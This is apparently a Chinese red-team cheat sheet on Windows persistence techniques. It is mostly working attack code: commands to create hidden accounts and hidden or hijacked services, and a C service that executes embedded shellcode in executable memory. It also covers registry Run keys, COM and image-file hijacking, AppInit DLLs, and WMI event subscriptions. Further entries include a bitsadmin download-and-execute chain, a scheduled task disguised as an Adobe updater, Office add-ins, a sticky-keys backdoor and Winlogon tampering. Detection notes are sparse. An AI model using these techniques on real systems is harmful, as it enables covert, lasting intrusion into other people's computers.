持久性
https://attack.mitre.org/tactics/TA0003/
创建隐藏用户tips
在渗透测试过程中,如果需要白利用远程桌面等服务,往往我们还需要一个知道密码的windows账户,而这个账户通常直接由net.exe或net1.exe直接添加
net user /add randomuser randompassword
这种往往会被第三方杀软直接拦截
https://www.anquanke.com/post/id/264890逆向底层API也不管用
使用普通的命令添加用户可以通过net user命令列出
但是如果再帐户创建过程中附加 $ 符号,net user列不出来,只能 net user xx$
net user /add evilbob$ evilpassword
检测:Windows 安全日志事件 ID 4720可以检测到这种类型事件。
旁注:这种技术只会在控制台看不到,但控制面板里是看的到的。只能击败粗心大意的蓝队盆友
自启动服务
在驱动部分已经写过了
通常windows服务运行在session 0,隔断了系统服务和桌面系统,各个session之间相互独立,不能交互和通信。
服务控制管理器(SCM:
Services Control Manager
)是一个管理系统所有服务的进程。当 SCM 启动某个服务时,它等待某个进程的主线程来调用 StartServiceCtrlDispatcher 函数。将分派表传递给 StartServiceCtrlDispatcher。这将把调用进程的主线程转换为控制分派器。该分派器启动一个新线程,该线程运行分派表中每个服务的 ServiceMain 函数分派器还监视程序中所有服务的执行情况。然后分派器将控制请求从 SCM 传给服务。
系统进程自启动是通过windows系统提供的api创建系统服务,并设置服务为自启动类型实现的,创建系统服务的时候要求具有管理员权限,作为系统服务启动的程序需要存在一个额外的服务入口点ServiceMain,ServiceMain应首先为服务向控制器注册,ServiceMain运行在一个单独的线程内,这个线程是由控制分派器创建的 ,通常需要把不需要用户交互的操作放在这里面,如果需要与用户交互,可以通过WTS系列函数来实现。
自启动原理:
服务控制管理器进程services.exe会在系统初始化时遍历名为HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services的注册表项,这个注册表项记录着所有注册的windows服务的实现文件(系统默认服务通常是一个dll)、启动权限。遍历后将所有设置为auto-start的服务启动,通常表现形式为每个服务带起一个名为svchost.exe进程,这个进程是一个共享服务进程,具体服务线程的代码则是该进程额外载入的注册表内记录的dll文件。
https://www.freebuf.com/articles/system/254838.html
新建服务
cmd
sc create laoxin binpath= "cmd.exe /k C:\Temp\qwqdanchun.exe" start="auto" obj="LocalSystem"
sc start laoxin
powershell
New-Service -Name "laoxin" -BinaryPathName "C:\Temp\qwqdanchun.exe" -Description "Service by qwqdanchun" -StartupType Automatic
sc start laoxin
修改服务
sc config laoxin binPath= "C:\Temp\qwqdanchun.exe" start="auto" obj="LocalSystem"
sc start laoxin
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Fax" /v ImagePath /t REG_SZ /d "C:\Temp\qwqdanchun.exe" /f
隐藏服务
隐藏:
sc.exe sdset qwqdanchun "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
恢复:
sc.exe sdset qwqdanchun "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
劫持服务
劫持关闭事件:
#REG
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\laoxin" /v FailureCommand /t REG_SZ /d "C:\Temp\qwqdanchun.exe" /f
#SC
sc failure laoxin command= "\"C:\Temp\qwqdanchun.exe\""
C实现:
加载器:
获取SCManager句柄
通过SCManager对服务进行增删查改
服务执行体
连接到SCM
注册服务控制处理器
在控制处理器中对服务控制进行处理(通过SetServiceStatus反馈服务状态和设置接受的控制)。
serviceloader
#include
#include
#include
#pragma comment(lib, "Shlwapi.lib")
// 0 加载服务 1 启动服务 2 停止服务 3 删除服务
BOOL SystemServiceOperate(char* lpszDriverPath, int iOperateType)
{
BOOL bRet = TRUE;
char szName[MAX_PATH] = { 0 };
lstrcpy(szName, lpszDriverPath);
// 过滤掉文件目录,获取文件名
PathStripPath(szName);
SC_HANDLE shSCManager = NULL, shService = NULL;
SERVICE_STATUS sStatus;
DWORD dwErrorCode = 0;
// 打开服务控制管理器数据库
shSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (0 != iOperateType)
{
// 打开一个已经存在的服务
shService = OpenService(shSCManager, szName, SERVICE_ALL_ACCESS);
if (!shService)
{
CloseServiceHandle(shSCManager);
shSCManager = NULL;
return FALSE;
}
}
switch (iOperateType)
{
case 0:
{
// 创建服务
// SERVICE_AUTO_START 随系统自动启动
// SERVICE_DEMAND_START 手动启动
shService = CreateService(shSCManager, szName, szName,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
lpszDriverPath, NULL, NULL, NULL, NULL, NULL);
break;
}
case 1:
{
// 启动服务
StartService(shService, 0, NULL);
break;
}
case 2:
{
// 停止服务
ControlService(shService, SERVICE_CONTROL_STOP, &sStatus);
break;
}
case 3:
{
// 删除服务
DeleteService(shService);
break;
}
default:
break;
}
// 关闭句柄
CloseServiceHandle(shService);
CloseServiceHandle(shSCManager);
return TRUE;
}
int main(int argc, TCHAR* argv[])
{
BOOL bRet = FALSE;
char szFileName[MAX_PATH] = "C:\\Users\\Black Sheep\\source\\repos\\SimpleService\\Debug\\TestService.exe";
bRet = SystemServiceOperate(szFileName, 0);
if (FALSE == bRet)
{
printf("Create Error!\n");
}
bRet = SystemServiceOperate(szFileName, 1);
if (FALSE == bRet)
{
printf("Start Error!\n");
}
printf("Create and Start OK.\n");
system("pause");
// 停止并删除服务
bRet = SystemServiceOperate(szFileName, 2);
if (FALSE == bRet)
{
printf("Stop Error!\n");
}
bRet = SystemServiceOperate(szFileName, 3);
if (FALSE == bRet)
{
printf("Delete Error!\n");
}
printf("Stop and Delete OK.\n");
system("pause");
}
服务执行体:
// ServiceTest.cpp : 定义控制台应用程序的入口点。
//
// ServiceTest.cpp : 定义控制台应用程序的入口点。
//
#include
#include
#include
#include
#pragma comment(lib, "Shlwapi.lib")
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
".................
// 服务入口函数以及处理回调函数
void __stdcall ServiceMain(DWORD dwArgc, char* lpszArgv);
void __stdcall ServiceCtrlHandle(DWORD dwOperateCode);
BOOL TellSCM(DWORD dwState, DWORD dwExitCode, DWORD dwProgress);
void DoTask();
// 全局变量
char g_szServiceName[MAX_PATH] = "ServiceTest.exe"; // 服务名称
SERVICE_STATUS_HANDLE g_ServiceStatusHandle = { 0 };
BOOL bOnce = FALSE;
int _tmain(int argc, _TCHAR* argv[])
{
// 注册服务入口函数
SERVICE_TABLE_ENTRYA stDispatchTable[] = { {g_szServiceName, (LPSERVICE_MAIN_FUNCTIONA)ServiceMain }, { NULL, NULL } };
StartServiceCtrlDispatcherA(stDispatchTable);
return 0;
}
void __stdcall ServiceMain(DWORD dwArgc, char* lpszArgv)
{
g_ServiceStatusHandle = RegisterServiceCtrlHandlerA(g_szServiceName, ServiceCtrlHandle);
TellSCM(SERVICE_START_PENDING, 0, 1);
TellSCM(SERVICE_RUNNING, 0, 0);
// 自己程序实现部分代码放在这里
// !!注意!! 此处一定要为死循环, 否则在关机再开机的情况(不是点击重启), 不能创建用户进程
while (TRUE)
{
Sleep(5000);
DoTask();
}
}
void __stdcall ServiceCtrlHandle(DWORD dwOperateCode)
{
switch (dwOperateCode)
{
case SERVICE_CONTROL_PAUSE:
{
// 暂停
TellSCM(SERVICE_PAUSE_PENDING, 0, 1);
TellSCM(SERVICE_PAUSED, 0, 0);
break;
}
case SERVICE_CONTROL_CONTINUE:
{
// 继续
TellSCM(SERVICE_CONTINUE_PENDING, 0, 1);
TellSCM(SERVICE_RUNNING, 0, 0);
break;
}
case SERVICE_CONTROL_STOP:
{
// 停止
TellSCM(SERVICE_STOP_PENDING, 0, 1);
TellSCM(SERVICE_STOPPED, 0, 0);
break;
}
case SERVICE_CONTROL_INTERROGATE:
{
// 询问
break;
}
default:
break;
}
}
BOOL TellSCM(DWORD dwState, DWORD dwExitCode, DWORD dwProgress)
{
SERVICE_STATUS serviceStatus = { 0 };
BOOL bRet = FALSE;
RtlZeroMemory(&serviceStatus, sizeof(serviceStatus));
serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
serviceStatus.dwCurrentState = dwState;
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN;
serviceStatus.dwWin32ExitCode = dwExitCode;
serviceStatus.dwWaitHint = 3000;
bRet = SetServiceStatus(g_ServiceStatusHandle, &serviceStatus);
return bRet;
}
void DoTask()
{
if (bOnce == FALSE)
{
bOnce = TRUE;
LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}
}
启动项
为了便于使用,操作系统通常会提供开机自启动功能,这样能方便用户不用人为的去运行程序就能自己运行起来,由于开机自启动的特殊性,此类功能也往往是红蓝对抗重点博弈的地方。
注册表自启动项
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SharedTaskScheduler
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellServiceObjects
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
HKLM\Software\Policies\Microsoft\Windows\System\Scripts
HKLM\Software\Wow6432Node\Classes*\ShellEx\ContextMenuHandlers
HKLM\Software\Wow6432Node\Classes*\ShellEx\PropertySheetHandlers
HKLM\Software\Wow6432Node\Classes\CLSID{083863F1-70DE-11d0-BD40-00A0C911CE86}\Instance
HKLM\Software\Wow6432Node\Classes\CLSID{7ED96837-96F0-4812-B211-F13C24117ED3}\Instance
HKLM\Software\Wow6432Node\Classes\Directory\Background\ShellEx\ContextMenuHandlers
HKLM\Software\Wow6432Node\Classes\Directory\ShellEx\ContextMenuHandlers
HKLM\Software\Wow6432Node\Classes\Directory\Shellex\DragDropHandlers
HKLM\Software\Wow6432Node\Classes\Drive\ShellEx\ContextMenuHandlers
HKLM\Software\Wow6432Node\Classes\Folder\ShellEx\ContextMenuHandlers
HKLM\Software\Wow6432Node\Classes\Folder\ShellEx\DragDropHandlers
HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components
HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\SharedTaskScheduler
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\ShellServiceObjects
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
HKLM\System\CurrentControlSet\Control\Lsa\
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors
HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors
HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls
HKLM\System\CurrentControlSet\Services\W32Time\TimeProviders\
HKLM\System\CurrentControlSet\Services
HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries
HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries64
HKU*\software\microsoft\windows\currentversion\explorer\user shell folders\startup
通过cmd添加键值的方式已被众所周知,这里给出c实现的代码
#include
#include
BOOL SetKeyValue(PCHAR lpszFileName, PCHAR lpszKeyValue,CHAR cType) {
HKEY hKey=NULL;
PCHAR KeyAddr=NULL;
switch (cType)
{
case 1:
KeyAddr = (PCHAR)"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run";
break;
case 2:
KeyAddr = (PCHAR)"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
break;
case 3:
break;
}
if (ERROR_SUCCESS!=RegOpenKeyEx(HKEY_CURRENT_USER,KeyAddr,0,KEY_WRITE,&hKey))
{
return FALSE;
}
if (ERROR_SUCCESS!= RegSetValueEx(hKey,lpszKeyValue,0,REG_SZ,(PBYTE)lpszFileName,1+strlen(lpszFileName)))
{
RegCloseKey(hKey);
return FALSE;
}
RegCloseKey(hKey);
}
int main()
{
if (FALSE == SetKeyValue((PCHAR)"C:\\Windows\\System32\\cmd.exe", (PCHAR)"cmd",1))
{
printf("ok");
}
return 0;
}
启动文件夹
顾名思义,启动文件夹中的程序将在用户登录时执行。
copy c:\payload.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
shell:startup
%appdata%\Microsoft\Windows\Start Menu\Programs\Startup
C:\Users\USERNAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
shell:common startup
%programdata%\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
DLL劫持
寻找开机自启的exe文件,并使用Process Explorer寻找是否有not found的dll文件
https://github.com/sensepost/rattler
除了之前的jisuPDF 然后还有美图秀秀也是可以的。。。自己去发现
COM劫持
https://www.4hou.com/posts/Mo51
与dll劫持不同的是,dll劫持只能劫持dll,局限性比较大,但是com组件能够劫持如.com文件、pe文件、api文件等等
COM是Component Object Model (组件对象模型)的缩写。
COM是开发软件组件的一种方法。组件实际上是一些小的二进制可执行程序,它们可以给应用程序,操作系统以及其他组件提供服务。开发自定义的COM组件就如同开发动态的,面向对象的API。多个COM对象可以连接起来形成应用程序或组件系统。并且组件可以在运行时刻,在不被重新链接或编译应用程序的情况下被卸下或替换掉。Microsoft的许多技术,如ActiveX, DirectX以及OLE等都是基于COM而建立起来的。并且Microsoft的开发人员也大量使用COM组件来定制他们的应用程序及操作系统。
COM组件带来的好处:
(1) 将系统中的组件用系的替换掉,以便随时进行系统的升级和定制;
(2) 在多个应用系统中重复利用同一个组件;
(3) 方便地将应用系统扩展到网络环境下。
COM组件与注册表的关系:编写好一个COM组件后,一般需要注册到注册表中,这样当我们调用COM组件的这个功能时,程序会进注册表进行读取相应位置的DLL或者EXE,加载到进程或者线程中,供我们使用。
注册表中,LocalServer32键表示可执行文件(EXE)的路径,InprocServer32键表示动态链接库(DLL)文件的路径。
COM组件劫持原理:从本质上说,就是在程序读取注册表信息中的DLL或者EXE功能的路径上,做一个拦截(修改路径),让程序提前读取并加载修改后的路径所指向的DLL或者EXE,从而运行我们指定的文件。
COM组件的读取顺序如下:
HKEY_CURRENT_USER\Software\Classes\CLSID
HKEY_CLASSES_ROOT\CLSID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\
每个COM组件都有一个CLSID,这个CLSID是注册的时候写进注册表的,可以把这个CLSID理解为这个组件最终可以实例化的子类的一个ID。也就是说CLSID就是对象的身份证号,而当一个应用程序想要调用某个对象时,也是通过CLSID来寻找对象的
COM组件劫持过程
1.发现缺少的COM组件
发现可用于进行COM劫持的组件很简单,使用Process Monitor来发现缺少CLSID且不需要提升特权(HKCU)的COM服务器。可以使用以下过滤器配置过程监视器:
操作是RegOpenKey
结果是NAME NOT FOUND
路径是InprocServer32 (允许将指定 DLL 加载到当前进程内存空间的进程内服务器)
2.修改原有的COM组件来实现劫持
修改现有的COM组件来实现劫持的方式很多,通过分析注册表中的COM,修改对应的InProcServer32中的键值,即可实现劫持,以MruPidlList劫持为例:
COM对象MruPidList对应的注册表项如下:
HKEY_CLASSES_ROOT\CLSID{42aedc87-2188-41fd-b9a3-0c966feabec1}
该对象作用于shell32.dll,而shell32.dll是win32外壳动态链接库文件,用于打开网页和文件,建立文件时的默认文件名设置等大量功能。即Explorer.exe会调用shell32.dll,加载COM对象MruPidList。因此,修改该注册表项,就可以劫持Explorer进程,实现持久化。
reg add "HKEY_CLASSES_ROOT\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32" /v "" /t REG_SZ /d "D:\comdll.dll"
映像劫持
劫持程序调试选项
有些进程是通过其他程序自动启动的,这就给调试带来了困难,我们无法通过正常手段去载入od,或者附加的时候已经过了需要调试的时机
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "调试器路径"
劫持程序退出事件
在注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit
下控制程序的退出时执行的动作
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "c:\payload.exe”
AppInit_DLLs注入
User32.dll 被加载到进程时,设置其注册表的中能设置加载其他的dll文件,则可使其加载恶意的脚本
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\payload.dll" /f
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0x1 /f
bits文件传输
通过bitsadmin从网络上下载的时候可以额外执行脚本,这个白名单程序已经被360死死把控住了
bitsadmin /create test
随意下载
bitsadmin /addfile test http://192.168.2.1:8000/payload.ps1 c:\users\public\downloads\payload.ps1
执行的命令
bitsadmin /SetNotifyCmdLine test "C:\windows\system32\cmd.exe" "cmd.exe /c c:\users\public\downloads\payload.exe"
启动任务
bitsadmin /resume test
每次开机的时候会触发
清理痕迹
bitsadmin /reset
定时任务
计划任务用于在设定的时间段内执行或执行某个动作
schtasks.exe /?
创建一个新的计划任务,每分钟启动一次 shell.cmd 要作为系统执行,我们可以添加以下标志:/ru System
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr C:\tools\shell.cmd /ru "SYSTEM"
Powershell
$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c c:\Temp\qwqdanchun.exe"$T = New-ScheduledTaskTrigger -AtLogOn -User "qwqdanchun"$P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest$S = New-ScheduledTaskSettingsSet$P = New-ScheduledTaskPrincipal "qwqdanchun"$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $SRegister-ScheduledTask qwqdanchun -InputObjec $D
C#
using Microsoft.Win32.TaskScheduler;using System;namespace demo{ static class Program { static void Main() { TaskService ts = new TaskService(); TaskDefinition td = ts.NewTask(); td.RegistrationInfo.Description = "This task keeps your Adobe Reader and Acrobat applications up to date with the latest enhancements and security fixes"; td.RegistrationInfo.Author = "Adobe Scheduler"; TimeTrigger dt = new TimeTrigger(); dt.StartBoundary = Convert.ToDateTime(DateTime.Now.ToString("yyyy-MM-dd 06:30:00")); dt.Repetition.Interval = TimeSpan.FromMinutes(5); td.Triggers.Add(dt); td.Settings.DisallowStartIfOnBatteries = false; td.Settings.RunOnlyIfNetworkAvailable = true; td.Settings.RunOnlyIfIdle = false; td.Settings.DisallowStartIfOnBatteries = false; td.Actions.Add(new ExecAction(@"c:\Temp\qwqdanchun.exe", "", null)); ts.RootFolder.RegisterTaskDefinition(@"Adobe Acrobat Update Task", td); } }}
WMI 事件订阅
https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/
https://in.security/2019/04/03/an-intro-into-abusing-and-identifying-wmi-event-subscriptions-for-persistence/
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-WMIC%E7%9A%84%E4%BD%BF%E7%94%A8 WMIC的使用
WMI事件,是特定对象的属性发生改变时发出的通知,其中包括增加、修改、删除三种类型。可以使用wmic命令来修改。
WMI 事件可用于几乎任何系统事件的操作,包括:登录、注册表、文件活动等。
关于 WMI 有 3 件事要记住
EventFilter:触发payload的动作
EventConsumer:payload的存储位置
FilterToConsumerBinding:绑定“EventFilter”和“EventConsumer”
命令行:
#注册一个事件过滤器,该过滤器是开机2分钟到2分半钟 常用
wmic /NAMESPACE:"\\root\subscription"PATH __EventFilter CREATE Name="TestEventFilter", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 20 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=30 AND TargetInstance.SystemUpTime < 60"
#注册一个事件消费者,这里写入了要执行的命令,是用 rundll32 启动 cs 的 dll
wmic /NAMESPACE:"\\root\subscription"PATHCommandLineEventConsumer CREATE Name="TestConsumer2",ExecutablePath="C:\Windows\System32\cmd.exe",CommandLineTemplate=" /c rundll32 c:\comdll.dll"
#绑定事件 过滤器和事件消费者
wmic /NAMESPACE:"\\root\subscription"PATH__FilterToConsumerBindingCREATE Filter="__EventFilter.Name=\"TestEventFilter\"", Consumer="CommandLineEventConsumer.Name=\"TestConsumer2\""
#事件过滤器(如果内存中有 x32 notepad.exe 的实例,命令将启动。)
#注册一个 WMI 事件过滤器
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="naiziFilter", EventNamespace = "root\cimv2", QueryLanguage="WQL", Query="Select * From __InstanceCreationEvent Where TargetInstance.Name = 'notepad.exe'"
#注册一个 WMI 事件消费者
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="naiziConsumer", CommandLineTemplate="cmd.exe /c C:\Windows\System32\calc.exe"
#将事件消费者绑定到事件过滤器
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter='\\.\root\subscription:__EventFilter.Name="naiziFilter"', Consumer='\\.\root\subscription:CommandLineEventConsumer.Name="naiziConsumer"'
删除事件
#删除事件过滤器
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='naiziFilter'" | Remove-WmiObject -Verbose
#删除事件消费者
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='事件消费者名'" | Remove-WmiObject -Verbose
#删除事件绑定
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%事件绑定名%'" | Remove-WmiObject -Verbose
C#
using System;
using System.Text;
using System.Management;
namespace WMIPersistence
{
class Program
{
static void Main(string[] args)
{
PersistWMI();
}
static void PersistWMI()
{
ManagementObject myEventFilter = null;
ManagementObject myEventConsumer = null;
ManagementObject myBinder = null;
string vbscript64 = "";
string vbscript = Encoding.UTF8.GetString(Convert.FromBase64String(vbscript64));
try
{
ManagementScope scope = new ManagementScope(@"\\.\root\subscription");
ManagementClass wmiEventFilter = new ManagementClass(scope, new
ManagementPath("__EventFilter"), null);
String strQuery = @"SELECT * FROM __InstanceCreationEvent WITHIN 5 " +
"WHERE TargetInstance ISA \"Win32_Process\" " +
"AND TargetInstance.Name = \"notepad.exe\"";
WqlEventQuery myEventQuery = new WqlEventQuery(strQuery);
myEventFilter = wmiEventFilter.CreateInstance();
myEventFilter["Name"] = "demoEventFilter";
myEventFilter["Query"] = myEventQuery.QueryString;
myEventFilter["QueryLanguage"] = myEventQuery.QueryLanguage;
myEventFilter["EventNameSpace"] = @"\root\cimv2";
myEventFilter.Put();
Console.WriteLine("[*] Event filter created.");
myEventConsumer =
new ManagementClass(scope, new ManagementPath("ActiveScriptEventConsumer"),
null).CreateInstance();
myEventConsumer["Name"] = "BadActiveScriptEventConsumer";
myEventConsumer["ScriptingEngine"] = "VBScript";
myEventConsumer["ScriptText"] = vbscript;
myEventConsumer.Put();
Console.WriteLine("[*] Event consumer created.");
myBinder =
new ManagementClass(scope, new ManagementPath("__FilterToConsumerBinding"),
null).CreateInstance();
myBinder["Filter"] = myEventFilter.Path.RelativePath;
myBinder["Consumer"] = myEventConsumer.Path.RelativePath;
myBinder.Put();
Console.WriteLine("[*] Subscription created");
}
catch (Exception e)
{
Console.WriteLine(e);
} // END CATCH
Console.ReadKey();
} // END FUNC
} // END CLASS
} // END NAMESPACE
Powershell
$wmiParams = @{
NameSpace = 'root\subscription'
}
# Creating a new event filter
$wmiParams.Class = '__EventFilter'
$wmiParams.Arguments = @{
Name = 'BugSecFilter'
EventNamespace = 'root\CIMV2'
QueryLanguage = 'WQL'
Query = "select * from __InstanceCreationEvent within 5 where targetInstance isa 'Win32_Process' and TargetInstance.Name = 'chrome.exe'"
}
$filterResult = Set-WmiInstance @wmiParams
# Creating a new consumer
$wmiParams.Class = 'CommandLineEventConsumer'
$wmiParams.Arguments = @{
Name = 'BugSecConsumer'
CommandLineTemplate = "cmd.exe /c rundll32 c:\payload.dll"
}
$consumerResult = Set-WmiInstance @wmiParams
# Bind filter to consumer
$wmiParams.Class = '__FilterToConsumerBinding'
$wmiParams.Arguments = @{
Filter = $filterResult
Consumer = $consumerResult
}
Set-WmiInstance @wmiParams
WMI存放payload
创建一个 base64 编码的 添加用户的powershell 命令
$command = "cmd '/c net user add backdoor backdoor /add'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
#echo $encodedCommand
# $encodedCommand = YwBtAGQAIAAvAGMAIAAnAG4AZQB0ACAAdQBzAGUAcgAgAGIAYQBjAGsAZABvAG8AcgAgAGIAYQBjAGsAZABvAG8AcgAgAC8AYQBkAGQAJwA=
然后创建一个新的 WMI 类,该类添加一个属性,把payload放到属性里
$evilClass = New-Object management.managementclass('root\cimv2',$null,$null)
$evilClass.Name = "laoxinsec"
$evilClass.Properties.Add('laoxinsecProperty',$encodedCommand)
$evilClass.Put()
执行存储在 WMI 类的属性中的payload
powershell.exe -enc $evilClass.Properties['EvilProperty'].Value
检测:使用 WMI Explorer检查存储
MS Office
WLL/XLL 这种只适用于 Office Professional版本
WLL是指“.wll”扩展名的“Word加载项”。这是一个Word 97时代的老东西,但似乎仍受支持。“.wll”文件本质上是具有Office特定扩展名的DLL。这意味着它支持基本的DLL功能,因此您可以将“.dll”重命名为“.wll”来使用。
%appdata%表示windows的应用程序数据存储路径:C:\Users\用户名\AppData\Roaming
也可以使用powershell来获取Word 的可放置库加载项的受信任位置
Get-ChildItem "hkcu:\Software\Microsoft\Office\16.0\Word\Security\Trusted Locations"
copy C:\Temp\payload.dll %APPDATA%\Microsoft\Word\Startup\payload.wll
XLL类似于WLL,也是具有Office特定扩展名的DLL,适用于Excel。但是其dll构造时注意要将恶意代码放在导出函数“xlAutoOpen”中来保证其被加载
copy C:\Temp\payload.dll %APPDATA%\Microsoft\AddIns\payload.xll
#remember to change “15.0” to your version
reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Options" /v OPEN /t REG_SZ /d "/R payload.xll”
Office Templates
用作 Office 创建的所有新文档的基本模板的文档,也可以作为持久化
C:\Users\xxxx\AppData\Roaming\Microsoft\Templates
Sub AutoOpen()
MsgBox "Ohai from the template :)"
End Sub
粘滞键后门
https://zhuanlan.zhihu.com/p/251134187
用 cmd.exe 替换原来的 sethc.exe 并重命名。可以在任何地方,任何时候,连续敲击5次「shift」,就会弹出cmd.exe
命令行窗口
takeown /f sethc.* /a /r /d y
cacls sethc.exe /T /E /G administrators:F
copy /y cmd.exe sethc.exe
NetSh Helper DLL
netsh是windows下自带的一个网络配置管理的命令行工具,它有一个add helper的参数,用来添加dll,作用大概就是add helper一个dll文件后,netsh下次运行时就会加载这个dll文件,这种机制可以用来做权限维持
.\netsh.exe add helper C:\payload.dll
作为蓝队监视以下注册表更改:
添加后会在注册表的HKLM\SOFTWARE\Microsoft\NetSh
下多出一项,名称就是dll的文件名,值就是dll文件所在位置。
Winlogon.exe
WinLogon 是一个组件,它处理各种“登录”活动,如登录、注销、加载用户配置文件等。这是由注册表项管理的,我们可以使用这些注册表项进行持久性。
经常被滥用的 Winlogon 注册表项:
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\shell
如果具有管理员权限,HKCU 也可以替换为 HKLM 以获得系统范围的持久性。
UserInit 初始化用户会话时执行,重新启动受感染的系统会执行 C:\payload.exe
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v userinit
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v userinit /d C:\Windows\system32\userinit.exe,C:\payload.exe /t reg_sz /f
